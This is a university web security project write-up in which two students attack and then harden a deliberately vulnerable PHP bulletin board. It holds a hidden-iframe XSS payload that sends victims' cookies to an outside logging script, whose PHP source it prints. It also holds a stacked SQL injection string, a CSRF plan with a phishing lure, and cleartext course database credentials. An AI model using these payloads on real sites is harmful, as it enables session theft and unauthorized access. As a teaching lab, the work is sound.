CS 526 Information Security

Project 1 - Web Security

Cory Nguyen & Josh Reese

Due 15 October, 2012

In this project, you will perform a series of attacks to exploit some vulnerabilities in an online bulletin-board, called *hackme*. Your attack will consist of several phases. You will conduct cross site scripting, cross site request forgery, and SQL injection attacks. You are also required to implement modifications to the web site to prevent such attacks.

Instructions

Due date & time 11:59pm on October 15, 2012. Email your solutions to the TA (gates2@purdue.edu) by the due time. The file you submit must be compressed to a single archive (.zip or .tar)

Late Policy You have three extra days in total for all your homework assignments and projects. Any portion of a day used counts as one day; that is, you have to use integer number of late days each time. If you emailed your homework to the TA by 11:59pm the day after it is due, then you have used one extra day. If you exhaust your three late days, any late project won't be graded.

Additional Instructions

- You are allowed to work in pairs of two.
- For this project, you need to download the source files for the website *hackme*. The files are available from:
  `http://forest.cs.purdue.edu/cs526_project1.tar`
- Each student will be given an account on `forest.cs.purdue.edu`. If you have not received an email with your account username/password, then email the TA.
- Your home account will contain a folder called `public_html`. This is your website's home directory, which you can use for testing your solution. You can access any file placed there online at: `http://forest.cs.purdue.edu/~username/` (remember to keep your permissions appropriate, you may need to modify them so that the group 'www-data' has read and execute access)
- To set up your own version of the website, untar `cs526_project1.tar` to the web directory above
- All your website instances will connect to the same mySQL database. The database name is `cs526p1`, the username to access the database is `cs526f12` and the password is `$troNg_PasSWord!`.
- Any code you write should run on `forest` with no errors.
- The written portion of the project must be typed. Using Latex is recommended, but not required. The submitted document must be a PDF (no doc or docx are allowed)

Preface

For convenience the software solutions to each problem have been separately packaged into directories following the titling scheme: cs526_x where x represents the number of the questions. In this way each site can be viewed separately and the various fixes can be easily verified.

1 (25 pts) Password and Session Management

Securely managing sessions and passwords is vital to prevent a number of attacks on a webpage. Most website designers, however, neglect to take a few important security measures when dealing with passwords and cookies. In this part, you are going to explore hackme's code and identify a set of exploitable vulnerabilities.

1. **Password Management** hackme manages passwords in an inherently insecure way. Familiarize yourself with the password management techniques employed by hackme by examining the following files: `index.php`, `register.php`, and `members.php`:

   - **Describe** the password management system used by hackme. Include in your description how the passwords are stored, transmitted and authenticated.
     - In this system passwords are stored as part of a users entry in the cs526pl database served from the localhost. A users password, upon login (or registration), is sent unencrypted to the server where it is hashed using the sha256 algorithm and checked against the stored hashed password for that user (for login) or stored in a new record for that user in the database (for registration). A users password is authenticated in the members.php file where it is hashed and compared to the value stored in the database for the specified user.
   - Hackme allows weak passwords of small length. Furthermore, it does not require passwords to be changed frequently. It also does not block a user after a number of failed login attempts. **Identify** and **describe two** *other* vulnerabilities in the password management system. Include in your description a precise explanation of the vulnerability and **how** it can be exploited.

     (a) A passwords unadulterated hash values is stored in the local database. This opens the system up to a few attacks which can retrieve a users password. The first are dictionary and brute force attacks. If an attacker were able to get the hash of a users password they would be able to try various dictionary attacks and common passwords to attempt to recover the users password. This could be accomplished with lookup tables created by the attacker. In addition to this since all of the passwords are stored this way if an attacker were able to penetrate the database they could create a reverse lookup table and use common passwords to find any user in the system with that password.

     (b) Passwords hash values are stored as the cookie value for a cookie when a user logs in. This opens the user up to the direct hash value of their password being stolen via XSS or any other attack which can steal a users current cookies.
   - **Describe** and **implement** techniques to fix the above vulnerabilities. Your description should be thorough and should indicate which files/scripts need modification and how they should be modified. You should then write code to fix the vulnerabilities. Your code will be graded on how well it fixes the vulnerabilities. You will not get any points for code that gives runtime errors.
     - To fix the vulnerability described in (a) we implement a method by which the hash value stored in the database is not the direct hash of the users password. To accomplish this we modified register.php to use php's *mcrypt_create_iv()* function to create a 16 byte IV value. This value is concatenated to the beginning of the users password prior to hashing. This IV value and hashed password are then stored in the database and can later be used to check for a valid user during login.
     - In order to fix (b) we simply no longer store the password value as a cookie during user login.

2. **Session Management** hackme relies on cookies to manage sessions. Familiarize yourself with the how cookies are managed in hackme.

   - **Describe** how cookies are used in hackme and how sessions are maintained. Include in your description what is stored in the cookies and what checks are performed on the cookies.
     - There are two cookies managed by the hackme system named hackme and hackme_pass which store, respectively, as values a users username and hashed password once logged in. When a user attempts to access members.php a check is made to see whether or not the hackme cookie is set. If this cookie is set the page is displayed, otherwise, the user is asked why they aren't logged in. Sessions are maintained through the hackme cookie as well. When each new page is visited a check is made to see if this cookie is set. The only checks made throughout the system are to whether or not the hackme cookie is set, regardless of the value to which it is set.
   - **Identify** and **describe three** vulnerabilities in the cookie management system or attacks that can be conducted. Include in your description a precise explanation of the vulnerability and **how** it can be exploited.
     (a) Firstly, since the value of the hackme cookie is never checked a user can create a cookie with the name hackme and is able to log into the site. From here they can see all the users who post to the site and change their cookie value to anyone's name, thus allowing them to post under a different user. This was accomplished in our testing by simply creating cookies in Firefox.
     (b) A users hashed password value is stored directly in a cookie. This allows malicious attackers direct access to a users hashed password value therefore opening up the site to the attacks mentioned earlier. In addition to this since the hashed password is easily available to an attacker (using XSS or other methods) they would be able to perform all the mentioned attacks offline, thus preventing the site from presenting any defenses against multiple attempts to guess a password.
     (c) Cookies are maintained even after the site is closed. This means that unless the user clicks the 'logout' button their cookies will remain on the system for at least an hour. This gives an attacker a much larger chance of being able to steal a users cookies since most users will probably forget to click 'logout' and will continue browsing with these cookies still on their system.
   - **Describe** and **implement** techniques to fix the above vulnerabilities. Your description should be thorough and should indicate which files/scripts need modification and how they should be modified. You should then write code to fix the vulnerabilities. Your code will be graded on how well it fixes the vulnerabilities. You will not get any points for code that gives runtime errors.
     - To fix this we removed cookie management altogether. In order to accomplish sessions we use the php superglobal $_SESSION. When a user is successfully logged in a value for $_SESSION['username'] is set. This value is then checked whenever a new page is loaded. In this way only a user who has successfully filled out the username and password login portion will be able to access any pages in the system. This also doesn't present any information publicly that can be used by attackers. To accomplish this the following files were modified to check for the $_SESSION variable being set as opposed to the hackme cookie being set: members.php, logout.php, post.php, and show.php.

3. Are phishing attacks possible on a webpage like hackme? If yes, explain why and describe a method of mitigating their effect. If no, explain why and describe specific security measures that are used in the webpage to prevent these attacks or mitigate their effect.

- In some sense they are possible but in others not quite as feasible. What is meant by this is an attacker can easily pose as a valid user and obtain information about other users. This is done by creating a fake cookie and entering the system unauthorized. This allows an attacker, who is unauthorized, to obtain usernames of people registered with the site. However, this is really all he is able to obtain. The reason for this is Hackme offers no type of password resetting mechanism, or 'forgotten password' functionality. The lack of these functions actually helps Hackme in protection against password phishing attacks.

2 (20 pts) XSS Attack

Cross Site Scripting (XSS) attacks are one of the most common attacks on websites and one of the most difficult to defend against. Popular websites, including Facebook, were once vulnerable to such attacks. Naturally, hackme is also vulnerable to XSS. In this part, you will perform XSS attacks to steal users' cookies.

1. Craft a special input string that can be used as part of a posting to the bulletin board to conduct a XSS attack. The attack should steal the cookies of any user who views your posting. The cookies must be stored in a file on the attacker's server (not storing the cookies will only get you partial credit). You need to:

   - Provide the *exact* input string you need to post to the webpage (I should be able to copy your string and paste it in order to replicate your attack). To get full credit, your attack must be completely hidden from the victim.
     - `<iframe frameborder=0 height=0 width=0 src=javascript:void(document.location="http://forest.cs.purdue.edu/~cqnguyen/Stealer.php?cookie="+document.cookie)></iframe>`
   - Explain what your string does and how it performs the attack. Also describe how the attacker can access the stolen cookies. Be precise in your explanation.
     - The script is placed in an iframe with frameborder, height, and width = 0, this is to hide the script from visiting users that visit the post. The cookie grabbing script is set in the src attribute where it's instructed to send the cookie to the receiving page specified by the attacker to receive the cookie: src=javascript:void(document.location="http://forest.cs.purdue.edu/~cqnguyen/Stealer.php?cookie="+document.cookie. The receiving page (i.e. http://forest.cs.purdue.edu/~cqnguyen/Stealer.php) is placed on the attacker's server and formatted to receive the cookie and write the cookie along with the date/time stamp in the file called log.txt (i.e. http://forest.cs.purdue.edu/~ cqnguyen/log.txt)
   - Provide any extra web pages, files, and/or scripts that are needed to conduct a successful attack. Provide a complete description of each item and its intended purpose. Include in your description the required linux/unix permission bits for each new file.
     - To be able to write to file, the log.txt permission mode should be set to 666, the Stealer.php page permission was set to 664

Listing 1: Stealer.php

```
<?php
function logData()
{
  $cookieLog="log.txt";
  $cookie = $_SERVER['QUERY_STRING'];
  $date=date ("F d Y G:i:s");
```

```
    $log=fopen("$cookieLog", "a+");

    if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i",
    $ipLog))
    fputs($log, "DATE{ : }$date | COOKIE: $cookie <br>");
    else
    fputs($log, "DATE: $date | COOKIE: $cookie \n\n");
    fclose($log);
}
logData();
?>
```

- Describe the exact vulnerability that made your attack possible.
  - The vulnerability of the post.php page is that the text input into the form are not escaped therefore they are read by the browser as a scripting language and not as plaintext.

2. **Describe** *and* **implement** a method to prevent this attack. Your description should be thorough and should indicate which files/scripts need modification and how they should be modified. You should then write code to fix the vulnerability. Your code will be graded on how well it fixes the vulnerability. You will not get any points for code that gives runtime errors.

   - To prevent future XSS attacks on the forum, the input text into post are treated as plaintext and any special characters are escaped using the following command: htmlspecialchars()

     The fixed shown in the script is in the folder cs526_2, changes are made in the post.php file: only modification is the addition of the following line:

```
mysql_query("INSERT INTO threads (username, title, message, date)
VALUES('".$_COOKIE['hackme']."',
'".htmlspecialchars($_POST['title'], ENT_QUOTES, 'UTF-8')."',
'".htmlspecialchars($_POST['message'], ENT_QUOTES, 'UTF-8')."',
'".time()."')") or die(mysql_error());
```

3 (20 pts) XSRF Attack

Cross Site Request Forgery (XSRF) attacks are malicious exploits which allow unauthorized commands to be transmitted to a webpage on behalf of a victim user. The attack can be used to perform unauthorized transactions on the victim's behalf. In this part, you will perform a XSRF attack to post an advertisement to the website without the user's consent. While the user is still logged on to hackme, you need lure him/her to a malicious webpage that runs the attack.

1. Create a new webpage that runs the XSRF attack. The attack should post an advertisement for "awesome free stuff!!". You need to:

   - Describe the components of your webpage. Include a thorough description of the component performing the attack and explain **how** the attack is performed.
     - The site consists of two parts: the hook to the site and the site itself. The hook is just a link that takes the user to the site which performs the attack. To perform the attack we use javascript to create a form which contains all the fields necessary to submit a post. This function is called when the page loads and since the header created in post.php is back to members.php the user won't actually go anywhere. The idea being that a user who would click on this would just assume it was a dead link. In this way a user may actually click on it several times and submit multiple advertisement postings.

- Make sure that the attack is completely stealthy (hidden from the victim). The victim should only visit/view the malicious website for the attack to work. Attacks which require user interaction or which are not hidden (ex: cause redirection) will only get partial credit.
- Identify a method of luring the victim to visit your malicious website while he/she is logged into hackme.

  - The method we have used to lure users to our attack is the claim that there is some important message from the administrators. This is likely to attract visitors to click the link because they will believe the information contained in the link is important and relevant to them.

2. Describe the specific vulnerabilit(ies) in hackme that allows XSRF attacks. Be precise in your description.

   - The main vulnerability in hackme that allows XSRF attacks is that there is no verification a submission of the form required to post to the site came from a real person. This allows an attacker to directly mirror the form used for submission and hide this in any site. Since there is no check to make sure the form was actually submitted by a user the attacker is able to automatically submit the same form automatically.

3. Describe **two** methods to prevent XSRF attacks on hackme. You need to be thorough in your description: mention **what** needs to be done, **how** to do it, and **why** it will prevent the attack.

   (a) Require a hidden field to be used for authentication in the post request. This value needs to be specific to the user and not something that can be predicted by the attacker. What this does is makes it such that an attacker can't replicate the values used in a form submission because one of them will be 'random' and user specific.

   (b) Another method of prevention is what's known as 'Challenge-Response' (https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet). This prevention measure uses tools such as a CAPTCHA or re-authentication. In this mechanism when a user is submitting a sensitive form they are required to fill in the box of a CAPTCHA or re-enter their password. In this way the server can verify that it is actually the user submitting the form and not some automated attacker.

4. Implement **one** of the defenses described above. Your code will be graded on how well it fixes the vulnerability. You will not get any points for code that gives runtime errors.

   - For our solution we chose to use the reCAPTCHA version of CAPTCHA in order to validate user input. The user is required to submit a reCAPTCHA along with the form for validation.

4 (20 pts) SQL Injection Attack

For this part, you will use

`http://forest.cs.purdue.edu/cs526private/`

Note that this version uses a different database instance which uses login credentials that are not available to you.

In an attempt to limit access to this bulletin board, we added one more verification step to the registration process. Now, only users that have been given a secret access key can register as users. When creating a new account, the user has to enter a secret key. The hash of this key is checked against a stored hash. If it matches, then the registration process continues normally. This is the only time the key is checked.

The TA has posted some very interesting information on this private blog and you need to access this information. Unfortunately, the secret key was not given to you, and you cannot register on this website. For this attack, you will bypass this requirement by performing an SQL injection attack.

1. By crafting a special input string to one of the HTML forms, you need to perform an SQL injection attack to register a new user on the website. You need to:

   - Identify the webpage you are using for the attack (i.e. `index.php` or `register.php`)
     - index.php
   - Provide the *exact* input to *every* field on the webpage; this should include your attack string (I should be able to copy your string and paste it in order to replicate your attack). To get full credit, your attack should not return an SQL error.
     - `username: admin'; INSERT INTO users(username,pass,fname,lname) VALUES('cqnguyen', '3b1062cf78d75207fd41d5a3739720a0d758bb888b16c6db7e12ed0bf26b76a8', 'Cory','Nguyen'); SELECT * FROM users WHERE username = 'a`

       `password: a`
   - **Execute** the attack to register a new user. The username should be your purdue email id (ex: wqardaji). The first name and last name should be your name. The password can be anything.
   - Login with new username, and **post** something on the bulletin board. The title of the post should be your full name.
     - Post is under the title: Cory Nguyen & Josh Reese.

2. **Describe** *and* **implement** a method to prevent the above SQL injection attack. Your description should be thorough and should indicate which files/scripts need modification and how they should be modified. You should then write code to fix the vulnerabilities. Your code will be graded on how well it fixes the vulnerabilities. You will not get any points for code that gives runtime errors.

   - The members.php was modified and placed in the cs526_4 folder. The modification was made to parameterize the sql statement and in effect prevents injecting sql values directly into the command. This in turns prevent a SQL injection attack. The code below shows the implementation of a php prepared statement :

```
// Connect to db create an instance $conn
$conn = new PDO("mysql:host=localhost;dbname=cs526p1",
"cs526f12", "\$troNg_PasSWord!");
//php prepared sql statement
$q = $conn-> prepare("SELECT * FROM USERS WHERE username =
?");
//binding input to parameters
$q -> execute(array($username));
//setting input values to parameters
$username = $_POST['username'];
//set a count
$count = 0;
//count rows return for check in validation section of code
while ($row = $q->fetch(PDO::FETCH_OBJ)){
  $count++;
}
//set count to $check2 to integrate with old code
$check2 = $count;

//password hash validation
if ($passwordHash != $row->pass) {
```

```
    die('Incorrect password, please try again.');
}
```

3. The way the secret key is handled is inherently insecure. **Describe** a more secure method of providing the extra authentication step. That is, assuming that an adversary **can** perform the SQL injection attack, how can you prevent him from logging in to the website?

   - By implementing a 2 factor authentication system, this could help to prevent an invalid user from logging in, even with a successful SQL Injection attack. In this example, the user upon successful authentication of their password and username, the user will be asked to type in a security Token read from an RSA SecurID Token or by having a smart card inserted into the current machine. This in effect allows the users only access to the system not only based on what they know, but also based on what they have. Consequently, even if the attacker was able to perform a successful SQL Injection attack, the attack will not be able to log in due to the second layer of security, because they do not have a valid token.

Note: You can assume that "magic quotes" are disabled in the php.ini file by the system administrator. You cannot override this setting.

5 (15 pts) Weak Passwords

For this part, you will use

`http://forest.cs.purdue.edu/cs526private/`

Note that this version uses a different database instance which uses login credentials that are not available to you.

As you can tell, hackme does not check the strength of a user's passwords. The website only enforces the condition that passwords should be non-empty. As a result, 100 users registered accounts with very weak and/or common passwords. In this part, you will run a brute force dictionary attack to recover the passwords.

1. Read the paper "Testing Metrics for Password Creation Policies by Attacking Large Sets of Revealed Passwords" by Weir et al. (CCS 2010).

   - Describe the current NIST standard for measuring the strength of passwords.
     - The current standard adopted by the NIST uses information entropy to quantify the strength of a password. This idea was developed by Claude Shannon and takes form in the equation

$$H(x) = -\sum_{i=0}^{n} P(x_i) Log_2 P(x_i)$$

       and is measured in bits. The NIST uses this idea and a set of rules to determine the entropy of a password, which they equate to the strength of said password. These rules include 4 bits of entropy for the first character, 2 bits per character for the next 7 characters, 1.5 bits for the next 9, and 1 bit for characters 21 and above. In addition 6 bits is awarded for the use of uppercase and lowercase characters as well as special characters, and another 6 points is awarded if the password management system does an extensive dictionary check to make sure the password is not present in the dictionary. This value is then translated into a score that measures the security provided by a password management system. This is done with the equation:

$$Chance\ of\ success\ = Number\ of\ allowed\ guesses / 2^{H(x)}$$

       In this way the NIST can define standards in terms of the number of guesses it should take an attacker to guess a users password.

- Briefly outline why, according to the paper, the NIST standard is ineffective.
  - This paper proposes two important reasons why this standard isn't an effective measure. The first of these states that it is questionable whether or not the calculation of $H(x)$ actually reflects the entropy of passwords in practical use. For example let's take two passwords: asdfjk and qlcngg. In the NIST standard these two passwords would have the same entropy value but the first is clearly a much more common password than the second. The first password being the first 6 characters on the home-row and the second being 6 characters that appeared when I mashed the keyboard. Does it make sense that they would have the same entropy value when many more users will be using the first password? This leads to the second argument that the equations provided for the NIST levels only work if H(x) is a uniformly distributed space. However, this is most certainly not the case with user created passwords and this is shown through various experiments throughout the paper.
- Based on your understanding, suggest a set of rules that can be employed by hackme to prevent "weak passwords"
  - There are several proposed methods for creating systems which enforce strong passwords presented in the paper. To help hackme prevent weak passwords I would employ 3 measures of security. First, I would require users to use passwords of a certain length, with mixed case, a number, and a special character. Though this is not a fix on its own it will at least weed out severely weak passwords. In addition to this I would employ what is termed in the paper a 'blacklist' of passwords. This would be a dictionary of commonly used passwords, commonly used words and number combinations, and so on. When creating a password those in this dictionary would be restricted from being used. Lastly, I would provide a feedback mechanism that alerts a user to the estimated strength of their password. One way to do this is presented in the paper where a grammar is build based on patterns found in previously analyzed passwords. If a users password was found to be less secure than they are comfortable with they would have the option to either create a new password and check its strength or have their password modified with random characters to improve its strength. With all of these mechanisms in place hackme could employ a system which would help ensure users passwords are, if nothing else, more secure than they are currently.

2. The file `users.txt` contains a list of 100 users with weak passwords. You need to perform a **brute-force *dictionary*** attack to recover these passwords. For this, you need to find a corpus of weak passwords (a number of them are available online).

   You should output your result in a text file called `username_pass.txt`, where 'username' is replaced by your group's username. Each line should correspond to one user. You need to output the username, followed by a tab, followed by the password. The users should be in the same order as they appear in `users.txt`. If you are unable to recover a password for one user, then output the username alone on that line. That is, I should be able to run `diff` on your output and my answer file in order to get the number of incorrect answers you have. Failure to follow these rules will not get you any credit.

   This part is worth 10 pts (i.e. 0.1 points per password) and points will be rounded up. That is, you only need to recover 91 passwords to get a full grade. If you recover all 100 passwords, you will get bonus points. Hint: No password is used twice. If you are missing a few passwords after your dictionary attack, think about bad password habits made by users.